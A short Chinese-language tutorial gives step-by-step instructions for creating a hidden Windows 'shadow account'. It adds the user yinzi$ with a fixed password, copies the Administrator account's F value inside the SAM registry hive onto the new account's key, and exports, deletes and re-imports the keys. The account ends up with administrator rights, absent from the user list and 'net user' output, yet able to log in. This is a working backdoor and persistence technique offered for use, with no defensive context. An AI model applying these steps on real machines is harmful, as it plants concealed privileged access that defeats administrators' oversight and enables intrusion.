创建影子账户的操作步骤

第一步：服务器上用户检查：

 第二步：配置 yinzi$账户拥有Administrator权限；
WIN+R，cmd进入命令窗口

输入下述命令：C:\Users\Administrator>net user yinzi$ mima123456 /add

WIN+R，regedit打开注册表
以管理员登录，并将Administrator的权限的设置如下-完全控制，

第三步：打开“注册表” 做复制操作

双击HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下的F值（也就是用户：Administrator的值）

选中F值数据，右击选择复制。点击Names下的yinzi$查看对应的Users下的值为0x3f2，
双击000003F2下的F值,选中F值的数据右击粘贴。

第四步：将yinzi$键值及yinzi$对应的Users下的键值导出到桌面（或其他可以存放且能找到的地方）

第五步：删除yinzi$账户，再将导出的注册表信息重新导入注册表

打开用户管理窗口删除yinzi$账户--

用命令验证是否还存在影子账户：net user 无影子账户；

桌面双击“yinzi账户名“导入注册表，根据提示点击是-从注册表里查看影子账户又存在注册表中，但用户列表中并不展示；

验证用yinzi$ 账户和密码登录是可以正常登录windowds的😊